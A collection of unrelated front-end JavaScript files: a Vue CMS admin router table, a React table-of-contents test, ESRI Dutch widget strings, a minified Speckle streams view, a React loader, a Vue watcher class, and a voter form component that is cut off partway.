base: window.config.path,
routes: [
{
path: '/',
component: () => import('@/pages/Dashboard'),
name: 'dashboard',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/login',
component: () => import('@/pages/Auth/Login'),
name: 'login',
meta: {
requiresAuth: false,
layout: 'error'
}
},
{
path: '/insight',
component: () => import('@/pages/SEO/Insight'),
name: 'insight',
meta: {
requiresAuth: true,
layout: 'admin'
},
},
{
path: '/blueprints',
component: () => import('@/pages/Blueprints/Index'),
name: 'blueprints',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/blueprints/:blueprint/edit',
component: () => import('@/pages/Blueprints/Edit'),
name: 'blueprints.edit',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/taxonomies',
component: () => import('@/pages/Taxonomies/Index'),
name: 'taxonomies',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/taxonomies/create',
component: () => import('@/pages/Taxonomies/Create'),
name: 'taxonomies.create',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/taxonomies/:taxonomy/edit',
component: () => import('@/pages/Taxonomies/Edit'),
name: 'taxonomies.edit',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/navigation',
component: () => import('@/pages/Navigation/Index'),
name: 'navigation',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/navigation/create',
component: () => import('@/pages/Navigation/Create'),
name: 'navigation.create',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/navigation/:navigation/edit',
component: () => import('@/pages/Navigation/Edit'),
name: 'navigation.edit',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/navigation/:navigation/links',
component: () => import('@/pages/Links/Index'),
name: 'links',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/navigation/:navigation/links/create',
component: () => import('@/pages/Links/Create'),
name: 'links.create',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/navigation/:navigation/links/:link/edit',
component: () => import('@/pages/Links/Edit'),
name: 'links.edit',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/matrices',
component: () => import('@/pages/Matrices/Index'),
name: 'matrices',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/matrices/create',
component: () => import('@/pages/Matrices/Create'),
name: 'matrices.create',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/matrices/:matrix/edit',
component: () => import('@/pages/Matrices/Edit'),
name: 'matrices.edit',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/single/:single',
component: () => import('@/pages/Singles/Index'),
name: 'single.index',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/single/:single/edit',
component: () => import('@/pages/Singles/Edit'),
name: 'single.edit',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/collection/:collection',
component: () => import('@/pages/Collections/Index'),
name: 'collection.index',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/collection/:collection/create',
component: () => import('@/pages/Collections/Create'),
name: 'collection.create',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/collection/:collection/:id/edit',
component: () => import('@/pages/Collections/Edit'),
name: 'collection.edit',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/taxonomies/:taxonomy',
component: () => import('@/pages/Terms/Index'),
name: 'terms.index',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/taxonomies/:taxonomy/create',
component: () => import('@/pages/Terms/Create'),
name: 'terms.create',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/taxonomies/:taxonomy/:id/edit',
component: () => import('@/pages/Terms/Edit'),
name: 'terms.edit',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/fieldsets',
component: () => import('@/pages/Fieldsets/Index'),
name: 'fieldsets',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/fieldsets/create',
component: () => import('@/pages/Fieldsets/Create'),
name: 'fieldsets.create',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/fieldsets/:fieldset/edit',
component: () => import('@/pages/Fieldsets/Edit'),
name: 'fieldsets.edit',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/forms',
component: () => import('@/pages/Forms/Index'),
name: 'forms',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/forms/create',
component: () => import('@/pages/Forms/Create'),
name: 'forms.create',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/forms/:form/edit',
component: () => import('@/pages/Forms/Edit'),
name: 'forms.edit',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/inbox',
component: () => import('@/pages/Inbox/Index'),
name: 'inbox',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/users',
component: () => import('@/pages/Users/Index'),
name: 'users',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/users/create',
component: () => import('@/pages/Users/Create'),
name: 'users.create',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/users/:user/edit',
component: () => import('@/pages/Users/Edit'),
name: 'users.edit',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/users/:user',
component: () => import('@/pages/Users/Show'),
name: 'users.show',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/users/:role',
component: () => import('@/pages/Users/Index'),
name: 'users.role',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/roles',
component: () => import('@/pages/Roles/Index'),
name: 'roles',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/roles/create',
component: () => import('@/pages/Roles/Create'),
name: 'roles.create',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/roles/:role/edit',
component: () => import('@/pages/Roles/Edit'),
name: 'roles.edit',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/roles/:role',
component: () => import('@/pages/Roles/Show'),
name: 'roles.show',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/permissions',
component: () => import('@/pages/Permissions'),
name: 'permissions',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/settings',
component: () => import('@/pages/Settings/Index'),
name: 'settings',
meta: {
requiresAuth: true,
layout: 'admin',
}
},
{
path: '/settings/:group',
component: () => import('@/pages/Settings/Edit'),
name: 'setting.group',
meta: {
requiresAuth: true,
layout: 'admin',
}
},
{
path: '/theme',
component: () => import('@/pages/Theme'),
name: 'theme',
meta: {
requiresAuth: true,
layout: 'admin',
}
},
{
path: '/customize',
component: () => import('@/pages/Customize'),
name: 'customize',
meta: {
requiresAuth: true,
layout: 'blank',
}
},
{
path: '/files/:disk',
alias: '/files',
component: () => import('@/pages/FileManager/Index'),
name: 'file-manager.index',
meta: {
requiresAuth: true,
layout: 'admin',
}
},
{
path: '/files/:disk/:file',
component: () => import('@/pages/FileManager/Show'),
name: 'file-manager.show',
meta: {
requiresAuth: true,
layout: 'admin',
}
},
{
path: '/logs',
component: () => import('@/pages/Logs/Index'),
name: 'logs.index',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/backups',
component: () => import('@/pages/Backups/Index'),
name: 'backups',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/backups/:backup',
component: () => import('@/pages/Backups/Show'),
name: 'backups.show',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/scripts',
component: () => import('@/pages/Scripts/Index'),
name: 'scripts',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/scripts/create',
component: () => import('@/pages/Scripts/Create'),
name: 'scripts.create',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/scripts/:script/edit',
component: () => import('@/pages/Scripts/Edit'),
name: 'scripts.edit',
meta: {
requiresAuth: true,
layout: 'admin',
},
},
{
path: '/updates',
component: () => import('@/pages/Updates/Index'),
name: 'updates',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/disks',
component: () => import('@/pages/Disks/Index'),
name: 'disks',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/disks/create',
component: () => import('@/pages/Disks/Create'),
name: 'disks.create',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/disks/:disk/edit',
component: () => import('@/pages/Disks/Edit'),
name: 'disks.edit',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/styleguide',
component: () => import('@/pages/Styleguide/Index'),
name: 'styleguide',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/styleguide/tables',
component: () => import('@/pages/Styleguide/Tables'),
name: 'styleguide.tables',
meta: {
requiresAuth: true,
layout: 'admin'
}
},
{
path: '/403',
component: () => import('@/pages/403'),
name: '403',
meta: {
layout: 'error'
}
},
{
path: '/404',
component: () => import('@/pages/404'),
name: '404',
meta: {
layout: 'error'
}
},
{
path: '*',
redirect: '/404'
},
],
})
router.beforeEach(before)
router.beforeResolve(resolve)
router.afterEach(after)
export default router
|
import React from 'react';
import PropTypes from 'prop-types';
import { mount } from 'enzyme';
import TableOfContents from '.';
const renderIndex = ({ contents }) =>
contents.map(({ id, title }) => <div id={`index-${id}`} key={id}>{id}: {title}</div>);
describe('TableOfContents', () => {
it('renders without crashing', () => {
const wrapper = mount(<TableOfContents.Container>
<TableOfContents.Section id="id" title="Title">Section text here</TableOfContents.Section>
<TableOfContents.Index>{ renderIndex }</TableOfContents.Index>
</TableOfContents.Container>);
expect(wrapper.exists()).toBe(true);
});
it('can remove a section', () => {
const TestContainer = ({ showSection }) => <TableOfContents.Container>
<TableOfContents.Section id="id" title="Title">Section text here</TableOfContents.Section>
{ showSection &&
<TableOfContents.Section id="optional" title="Optional">Optional section here</TableOfContents.Section>
}
{ showSection &&
<TableOfContents.Section id="optional" title="Optional">Duplicate section here</TableOfContents.Section>
}
<TableOfContents.Index>{ renderIndex }</TableOfContents.Index>
</TableOfContents.Container>;
TestContainer.propTypes = {
showSection: PropTypes.bool,
};
const wrapper = mount(<TestContainer showSection />);
expect(wrapper.find('#index-optional').length).toBe(1);
wrapper.setProps({ showSection: false });
wrapper.update();
expect(wrapper.find('#index-optional').length).toBe(0);
});
it('matches snapshot', () => {
const wrapper = mount(<TableOfContents.Container>
<TableOfContents.Section id="id" title="Title">Section text here</TableOfContents.Section>
<TableOfContents.Index>{ renderIndex }</TableOfContents.Index>
</TableOfContents.Container>);
expect(wrapper).toMatchSnapshot();
});
});
|
// All material copyright ESRI, All Rights Reserved, unless otherwise specified.
// See http://js.arcgis.com/3.15/esri/copyright.txt and http://www.arcgis.com/apps/webappbuilder/copyright.txt for details.
//>>built
define({"widgets/Stream/nls/strings":{_widgetLabel:"Stroom",noStreamLayer:"Geen vooraf geconfigureerde stroomlaagopties beschikbaar.",streamControls:"Bedieningselementen voor streaming",startStreaming:"Streaming starten",stopStreaming:"Streaming stoppen",clearObservation:"Vorige observaties wissen",streamFilter:"Filter",showAllObservations:"Alle observaties weergeven",showMapAreaObservations:"Observaties beperken tot het huidige kaartgebied",showObservationsByDrawing:"Observaties beperken tot tekenen op de kaart",
useSpatialFilter:"Ruimtelijke filter gebruiken om observaties te beperken",useAttributeFilter:"Attribuutfilter gebruiken om observaties te beperken",selectStreamLayer:"Stroomlaag selecteren",previousObservations:"Vorige observaties tekenen",applyAttrFilter:"Toepassen",_localized:{}}});
|
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-7abd522e"],{bd0a:function(e,t,s){},cf8c:function(t,s,a){"use strict";a.r(s);var r=function(){var e=this,t=e.$createElement,s=e._self._c||t;return s("v-container",{attrs:{"grid-list-xl":""}},[e.selectedStreams.length>0?s("v-toolbar",{staticStyle:{"z-index":"100"},attrs:{fixed:""}},[s("v-toolbar-items",[s("v-btn",{staticClass:"md-raised md-dense md-primary",attrs:{icon:"",color:"primary"},nativeOn:{click:function(t){return e.clearSelection(t)}}},[s("v-icon",[e._v("close")])],1),s("v-btn",{attrs:{flat:""},nativeOn:{click:function(t){return e.selectAll()}}},[e._v("select all")])],1),s("v-spacer"),s("v-toolbar-items",[s("v-btn",{attrs:{flat:"",color:"error"},nativeOn:{click:function(t){return e.deleteStreams(t)}}},[e._v("Archive")]),s("v-btn",{attrs:{flat:""},nativeOn:{click:function(t){return e.togglePermissions(t)}}},[e._v("Make "+e._s(e.defaultPermission))]),s("v-btn",{attrs:{flat:""},nativeOn:{click:function(t){return e.createProjectFromSelection(t)}}},[e._v("Create Project")])],1)],1):e._e(),s("v-layout",{attrs:{row:"",wrap:""}},[s("v-flex",{staticClass:"headline font-weight-light",attrs:{xs12:"","py-5":""}},[e._v("\n Streams are the channels your design data flows into.\n ")]),0===e.streams.length?s("v-flex",{attrs:{xs12:""}},[s("p",{staticClass:"title font-weight-light"},[e._v("\n 👋 Hello "+e._s(e.$store.state.user.name)+"! It looks like you haven't created any streams yet. Don't forget to check out the "),s("a",{attrs:{href:"https://speckle.systems/docs/essentials/start",target:"_blank"}},[e._v("guide")]),e._v("!\n ")])]):e._e(),s("v-flex",{attrs:{xs12:""}},[s("v-text-field",{attrs:{solo:"",clearable:"",xxxhint:e.searchHint,label:"Search for a stream","prepend-inner-icon":"search",spellcheck:"false",loading:e.isSearching,"append-icon":"refresh"},on:{input:e.updateSearch,"click:append":function(t){return e.$store.dispatch("getStreams","omit=objects,layers&isComputedResult=false&sort=updatedAt")}},model:{value:e.searchfilter,callback:function(t){e.searchfilter=t},expression:"searchfilter"}}),e.searchfilter&&""!==e.searchfilter?s("div",[s("p",{staticClass:"title font-weight-light my-3 mx-1"},[e._v("Found "+e._s(e.filteredStreams.length)+" streams matching your search criteria.")])]):e._e(),s("v-expansion-panel",[s("v-expansion-panel-content",{scopedSlots:e._u([{key:"header",fn:function(){return[e._v("Search Options")]},proxy:!0}])},[s("v-card",{staticClass:"pa-3"},[s("v-expansion-panel",[s("v-expansion-panel-content",{scopedSlots:e._u([{key:"header",fn:function(){return[e._v("Tags")]},proxy:!0}])},[s("v-card",{staticClass:"pa-3"},e._l(e.allTags,function(t){return s("v-chip",{key:t,attrs:{small:"",dense:""},on:{click:function(s){return e.addSearchQuery("tag",t)}}},[e._v("\n "+e._s(t)+"\n ")])}),1)],1),s("v-expansion-panel-content",{scopedSlots:e._u([{key:"header",fn:function(){return[e._v("Job Numbers")]},proxy:!0}])},[s("v-card",{staticClass:"pa-3"},e._l(e.allJobNumbers,function(t){return s("v-chip",{key:t,on:{click:function(s){return e.addSearchQuery("jn",t)}}},[e._v(e._s(t))])}),1)],1)],1)],1)],1)],1)],1)],1),s("v-layout",{attrs:{row:"",wrap:""}},[s("v-flex",{attrs:{xs12:""}},[s("v-btn",{attrs:{icon:"",small:"",disabled:0===e.pageNumber},nativeOn:{click:function(t){e.pageNumber=0}}},[s("v-icon",[e._v("first_page")])],1),s("v-btn",{attrs:{icon:"",small:"",disabled:0===e.pageNumber},nativeOn:{click:function(t){e.pageNumber-=1}}},[s("v-icon",[e._v("chevron_left")])],1),s("v-btn",{attrs:{icon:"",disabled:e.pageNumber>=Math.round(e.filteredStreams.length/e.sliceSize)},nativeOn:{click:function(t){e.pageNumber+=1}}},[s("v-icon",[e._v("chevron_right")])],1),s("v-btn",{attrs:{icon:"",small:"",disabled:e.pageNumber>=Math.round(e.filteredStreams.length/e.sliceSize)},nativeOn:{click:function(t){e.pageNumber=Math.round(e.filteredStreams.length/e.sliceSize)}}},[s("v-icon",[e._v("last_page")])],1),s("span",{staticClass:"caption",attrs:{xxxstyle:"position: relative;top:8px;"}},[e._v(e._s(e.pageNumber)+" / "+e._s((e.filteredStreams.length/e.sliceSize).toFixed(0)))])],1),e._l(e.paginatedStreams,function(t){return s("v-flex",{key:t._id,attrs:{xs12:"",sm6:""}},[s("stream-card",{attrs:{stream:t},on:{selected:e.selectThis,deleted:e.clearSelection}})],1)}),s("v-flex",{attrs:{xs12:""}},[s("v-btn",{attrs:{icon:"",small:"",disabled:0===e.pageNumber},nativeOn:{click:function(t){e.pageNumber=0}}},[s("v-icon",[e._v("first_page")])],1),s("v-btn",{attrs:{icon:"",small:"",disabled:0===e.pageNumber},nativeOn:{click:function(t){e.pageNumber-=1}}},[s("v-icon",[e._v("chevron_left")])],1),s("v-btn",{attrs:{icon:"",disabled:e.pageNumber>=Math.round(e.filteredStreams.length/e.sliceSize)},nativeOn:{click:function(t){e.pageNumber+=1}}},[s("v-icon",[e._v("chevron_right")])],1),s("v-btn",{attrs:{icon:"",small:"",disabled:e.pageNumber>=Math.round(e.filteredStreams.length/e.sliceSize)},nativeOn:{click:function(t){e.pageNumber=Math.round(e.filteredStreams.length/e.sliceSize)}}},[s("v-icon",[e._v("last_page")])],1),s("span",{staticClass:"caption",attrs:{xxxstyle:"position: relative;top:8px;"}},[e._v(e._s(e.pageNumber)+" / "+e._s((e.filteredStreams.length/e.sliceSize).toFixed(0)))])],1)],2),s("v-btn",{attrs:{color:"primary",dark:"",fixed:"",large:"",bottom:"",right:"",fab:""},nativeOn:{click:function(t){return e.createStream(t)}}},[s("v-icon",[e._v("add")])],1)],1)},n=[],i=(a("20d6"),a("6762"),a("2fdb"),a("28a5"),a("ac6a"),a("55dd"),a("f7fe")),c=a.n(i),l=function(){var e=this,t=e.$createElement,s=e._self._c||t;return s("v-card",{class:{"stream-card":!0,"elevation-10":e.selected,"elevation-1":!0}},[s("v-card-title",[s("v-btn",{attrs:{icon:""},nativeOn:{click:function(t){return e.$router.push("/view/"+e.stream.streamId)}}},[s("v-icon",[e._v("360")])],1),s("span",{staticClass:"title font-weight-light"},[e._v(e._s(e.stream.name?e.stream.name:"Stream Has No Name"))]),s("v-spacer"),s("span"),s("span",[s("v-checkbox",{attrs:{color:"primary"},model:{value:e.selected,callback:function(t){e.selected=t},expression:"selected"}})],1)],1),s("v-divider",{staticClass:"mx-0 my-0"}),s("v-layout",{attrs:{row:"",wrap:""}},[s("v-flex",{staticClass:"caption",attrs:{xs12:"","ma-2":""}},[s("v-icon",{attrs:{small:""}},[e._v("fingerprint")]),e._v(" "),s("strong",{staticStyle:{"user-select":"all"}},[e._v(e._s(e.stream.streamId))]),e._v(" \n "),s("v-icon",{attrs:{small:""}},[e._v("edit")]),e._v(" "),s("timeago",{attrs:{datetime:e.stream.updatedAt}}),e._v(" \n "),s("v-icon",{attrs:{small:""}},[e._v("access_time")]),e._v(" "+e._s(e.createdAt)+" \n "),s("v-icon",{attrs:{small:""}},[e._v(e._s(e.stream.private?"lock":"lock_open"))]),e._v(" link sharing "+e._s(e.stream.private?"off":"on")+" \n "),s("v-icon",{attrs:{small:""}},[e._v("person_outline")]),e._v(" "+e._s(e.allUsers.length)+" \n "),s("v-icon",{attrs:{small:""}},[e._v("history")]),e._v(" "+e._s(e.stream.children.length)+" \n ")],1),s("v-flex",{attrs:{xs12:"","ma-2":""}},[e.stream.jobNumber?s("v-chip",{attrs:{small:""}},[s("b",[e._v("JN:")]),e._v(" "+e._s(e.stream.jobNumber))]):e._e(),e._l(e.stream.tags,function(t){return e.stream.tags.length>0?s("v-chip",{key:t,attrs:{small:"",outline:""}},[e._v(e._s(t))]):e._e()})],2),s("v-flex",{attrs:{xs12:"","ma-2":""}},[s("div",{staticClass:"md-caption md-small-hide",domProps:{innerHTML:e._s(e.compiledDescription)}})])],1),s("v-card-actions",[s("span",{staticClass:"caption font-weight-light"},[e._v("Owned by "+e._s(e.owner))]),s("v-spacer"),s("v-btn",{directives:[{name:"show",rawName:"v-show",value:e.isOwner,expression:"isOwner"}],staticClass:"transparent",attrs:{depressed:""},nativeOn:{click:function(t){return e.deleteStream(t)}}},[e._v("Archive")]),s("v-btn",{attrs:{color:"primary",to:"/streams/"+e.stream.streamId}},[e._v("Details")])],1)],1)},o=[],u=(a("7f7f"),a("7514"),a("13bb")),d=a.n(u),m=a("0e54"),h=a.n(m),v={name:"StreamCard",props:{stream:Object},watch:{selected:function(){this.$emit("selected",this.stream)}},computed:{createdAt:function(){var e=new Date(this.stream.createdAt);return e.toLocaleString("en",{year:"numeric",month:"long",day:"numeric"})},compiledDescription:function(){return h()(this.stream.description.substring(0,220)+" ...",{sanitize:!0})},canEdit:function(){return!!this.isOwner||-1!==this.stream.canWrite.indexOf(this.$store.state.user._id)},isOwner:function(){return this.stream.owner===this.$store.state.user._id},allUsers:function(){return d()(this.stream.canRead,this.stream.canWrite)},owner:function(){var e=this,t=this.$store.state.users.find(function(t){return t._id===e.stream.owner});return t||this.$store.dispatch("getUser",{_id:this.stream.owner}),t?t.surname.includes("is you")?"you":"".concat(t.name," ").concat(t.surname):"Loading"}},data:function(){return{selected:!1}},methods:{deleteStream:function(){this.$store.dispatch("updateStream",{streamId:this.stream.streamId,deleted:!0}),this.$emit("deleted")},updateTags:c()(function(e){this.$store.dispatch("updateStream",{streamId:this.stream.streamId,tags:this.stream.tags})},1e3)},mounted:function(){var e=this;bus.$on("select-stream",function(t){e.stream.streamId===t&&(e.selected=!0)}),bus.$on("unselect-all",function(){e.selected=!1})}},f=v,p=(a("cfeb"),a("2877")),_=Object(p["a"])(f,l,o,!1,null,"5adfbe7a",null),g=_.exports,b={name:"StreamsView",components:{StreamCard:g},computed:{allTags:function(){return this.$store.getters.allStreamTags},allJobNumbers:function(){return this.$store.getters.allJobNumbersStreams},streams:function(){return this.$store.state.streams.filter(function(e){return null==e.parent&&!1===e.deleted}).sort(function(e,t){return new Date(t.updatedAt)-new Date(e.updatedAt)})},filteredStreams:function(){return this.$store.getters.filteredResources(this.filters)},paginatedStreams:function(){return this.filteredStreams.slice(this.currentIndex+this.pageNumber*this.sliceSize,this.sliceSize*(this.pageNumber+1))}},data:function(){return{currentIndex:0,sliceSize:6,pageNumber:0,selectedStreams:[],searchfilter:"",filters:[],defaultPermission:"private",isSearching:!1,searchHint:"You can restrict your search to the stream's id by prepending id:{your stream id}, similarly for name, tags etc."}},watch:{searchfilter:function(){this.isSearching=!0},selectedStreams:function(){var e=0,t=0;this.selectedStreams.forEach(function(s){s.private?e++:t++}),this.defaultPermission=e>t?"public":"private"}},methods:{addSearchQuery:function(t,s){var a=this;this.pageNumber=0;var r="".concat(t,":").concat(s);this.searchfilter=r,setTimeout(function(){a.isSearching=!1},50);try{var n=r.split(" ").map(function(e){return e.includes(":")?{key:e.split(":")[0],value:e.split(":")[1]}:e.includes("public")||e.includes("private")||e.includes("mine")||e.includes("shared")?{key:e,value:null}:{key:"name",value:e}});this.filters=n}catch(i){this.filters=[{key:"name",value:e}]}this.isSearching=!1},createStream:function(){var e=this;this.$store.dispatch("createStream",{name:"A New Speckle Stream",onlineEditable:!0}).then(function(t){e.$router.push("/streams/".concat(t.streamId))}).catch(function(e){console.error(e)})},createProjectFromSelection:function(){var e=this;this.$store.dispatch("createProject",{name:"Speckle Project",streams:this.selectedStreams.map(function(e){return e.streamId})}).then(function(t){e.clearSelection(),e.$router.push("/projects/".concat(t._id))})},togglePermissions:function(){var e=this;this.selectedStreams.forEach(function(t){e.$store.dispatch("updateStream",{streamId:t.streamId,private:"private"===e.defaultPermission})}),this.defaultPermission="private"===this.defaultPermission?"public":"private"},deleteStreams:function(){var e=this;this.selectedStreams.forEach(function(t){e.$store.dispatch("updateStream",{streamId:t.streamId,deleted:!0})}),this.clearSelection()},updateSearch:c()(function(e){this.pageNumber=0,this.isSearching=!1,this.searchfilter=e;try{var t=this.searchfilter.split(" ").map(function(e){return e.includes(":")?{key:e.split(":")[0],value:e.split(":")[1]}:e.includes("public")||e.includes("private")||e.includes("mine")||e.includes("shared")?{key:e,value:null}:{key:"name",value:e}});this.filters=t}catch(s){this.filters=[{key:"name",value:e}]}},1e3),selectAll:function(){var e=this;this.paginatedStreams.forEach(function(t){var s=e.selectedStreams.findIndex(function(e){return e.streamId===t.streamId});-1===s&&bus.$emit("select-stream",t.streamId)})},selectThis:function(e){var t=this.selectedStreams.findIndex(function(t){return t.streamId===e.streamId});-1===t?this.selectedStreams.unshift(e):this.selectedStreams.splice(t,1)},clearSelection:function(){this.defaultPermission="private",bus.$emit("unselect-all")},checkSelection:function(){this.selectedStreams=this.selectedStreams.filter(function(e){return!e.deleted})}},created:function(){}},S=b,x=Object(p["a"])(S,r,n,!1,null,"5eaa01dc",null);s["default"]=x.exports},cfeb:function(e,t,s){"use strict";var a=s("bd0a"),r=s.n(a);r.a}}]);
//# sourceMappingURL=chunk-7abd522e.ca5e6a11.js.map
|
import React from "react";
import styled from "@emotion/styled";
import { BeatLoader } from "react-spinners";
const LoaderEl = styled.div`
height: 100vh;
display: flex;
align-items: center;
& > div {
display: block;
width: 100%;
text-align: center;
}
`;
export function Loader() {
return (
<LoaderEl>
<BeatLoader color="#333" />
</LoaderEl>
);
}
|
/* @flow */
import {
warn,
remove,
isObject,
parsePath,
_Set as Set,
handleError,
invokeWithErrorHandling,
noop
} from '../util/index'
import { traverse } from './traverse'
import { queueWatcher } from './scheduler'
import Dep, { pushTarget, popTarget } from './dep'
import type { SimpleSet } from '../util/index'
let uid = 0
/**
* A watcher parses an expression, collects dependencies,
* and fires callback when the expression value changes.
* This is used for both the $watch() api and directives.
*/
export default class Watcher {
vm: Component;
expression: string;
cb: Function;
id: number;
deep: boolean;
user: boolean;
lazy: boolean;
sync: boolean;
dirty: boolean;
active: boolean;
deps: Array<Dep>;
newDeps: Array<Dep>;
depIds: SimpleSet;
newDepIds: SimpleSet;
before: ?Function;
getter: Function;
value: any;
constructor (
vm: Component,
expOrFn: string | Function,
cb: Function,
options?: ?Object,
isRenderWatcher?: boolean
) {
this.vm = vm;
if (isRenderWatcher) {
vm._watcher = this
}
vm._watchers.push(this)
// options
if (options) {
this.deep = !!options.deep
this.user = !!options.user
this.lazy = !!options.lazy
this.sync = !!options.sync
this.before = options.before
} else {
this.deep = this.user = this.lazy = this.sync = false
}
this.cb = cb
this.id = ++uid // uid for batching
this.active = true
this.dirty = this.lazy // for lazy watchers
this.deps = []
this.newDeps = []
this.depIds = new Set()
this.newDepIds = new Set()
this.expression = process.env.NODE_ENV !== 'production'
? expOrFn.toString()
: ''
// parse expression for getter
if (typeof expOrFn === 'function') {
this.getter = expOrFn
} else {
this.getter = parsePath(expOrFn)
if (!this.getter) {
this.getter = noop
process.env.NODE_ENV !== 'production' && warn(
`Failed watching path: "${expOrFn}" ` +
'Watcher only accepts simple dot-delimited paths. ' +
'For full control, use a function instead.',
vm
)
}
}
this.value = this.lazy
? undefined
: this.get()
}
/**
* Evaluate the getter, and re-collect dependencies.
*/
get () {
pushTarget(this)
let value
const vm = this.vm
try {
value = this.getter.call(vm, vm)
} catch (e) {
if (this.user) {
handleError(e, vm, `getter for watcher "${this.expression}"`)
} else {
throw e
}
} finally {
// "touch" every property so they are all tracked as
// dependencies for deep watching
if (this.deep) {
traverse(value)
}
popTarget()
this.cleanupDeps()
}
return value
}
/**
* Add a dependency to this directive.
*/
addDep (dep: Dep) {
const id = dep.id
if (!this.newDepIds.has(id)) {
this.newDepIds.add(id)
this.newDeps.push(dep)
if (!this.depIds.has(id)) {
dep.addSub(this)
}
}
}
/**
* Clean up for dependency collection.
*/
cleanupDeps () {
let i = this.deps.length
while (i--) {
const dep = this.deps[i]
if (!this.newDepIds.has(dep.id)) {
dep.removeSub(this)
}
}
let tmp = this.depIds
this.depIds = this.newDepIds
this.newDepIds = tmp
this.newDepIds.clear()
tmp = this.deps
this.deps = this.newDeps
this.newDeps = tmp
this.newDeps.length = 0
}
/**
* Subscriber interface.
* Will be called when a dependency changes.
*/
update () {
/* istanbul ignore else */
if (this.lazy) {
this.dirty = true
} else if (this.sync) {
this.run()
} else {
console.log(this, 'watcher');
queueWatcher(this)
}
}
/**
* Scheduler job interface.
* Will be called by the scheduler.
*/
run () {
if (this.active) {
const value = this.get()
if (
value !== this.value ||
// Deep watchers and watchers on Object/Arrays should fire even
// when the value is the same, because the value may
// have mutated.
isObject(value) ||
this.deep
) {
// set new value
const oldValue = this.value
this.value = value;
if (this.user) {
console.log(this.user, 'this.userthis.user');
const info = `callback for watcher "${this.expression}"`
invokeWithErrorHandling(this.cb, this.vm, [value, oldValue], this.vm, info)
} else {
console.log(this.user, 'this.userthis.user');
this.cb.call(this.vm, value, oldValue)
}
}
}
}
/**
* Evaluate the value of the watcher.
* This only gets called for lazy watchers.
*/
evaluate () {
this.value = this.get()
this.dirty = false
}
/**
* Depend on all deps collected by this watcher.
*/
depend () {
let i = this.deps.length
while (i--) {
this.deps[i].depend()
}
}
/**
* Remove self from all dependencies' subscriber list.
*/
teardown () {
if (this.active) {
// remove self from vm's watcher list
// this is a somewhat expensive operation so we skip it
// if the vm is being destroyed.
if (!this.vm._isBeingDestroyed) {
remove(this.vm._watchers, this)
}
let i = this.deps.length
while (i--) {
this.deps[i].removeSub(this)
}
this.active = false
}
}
}
|
// import app dependencies and css style
import React, { useRef } from 'react';
import axios from "axios";
import { makeStyles } from '@material-ui/core/styles';
import TextField from '@material-ui/core/TextField';
import { lightBlue } from '@material-ui/core/colors';
import "./index.css";
import { useStoreContext } from '../../store/store';
import { useHistory } from 'react-router-dom';
import { UNSET_USER } from '../../store/actions';
// export functional component voter form and props
export default function VoterForm(props) {
// declare state and dispatch for the store file and establish useHistory
console.log("VoterForm props:", props);
const [state, dispatch] = useStoreContext();
const history = useHistory();
// declare all useRef variables
const userNameRef = useRef();
const cityRef = useRef();
const countyRef = useRef();
const stateRef = useRef();
const countryRef = useRef();
// material ui component theming
const useStyles = makeStyles((theme) => ({
root: {
'& > *': {
margin: theme.spacing(1),
width: '25ch',
color: lightBlue,
},
},
}));
const classes = useStyles();
const updateInfo = (event) => {
// console.log("target id", event.target.getAttribute("id"));
const info = event.target.getAttribute("id");
const currentInfo = state.userData[info];
let currentRef;
switch (info) {
case "name":
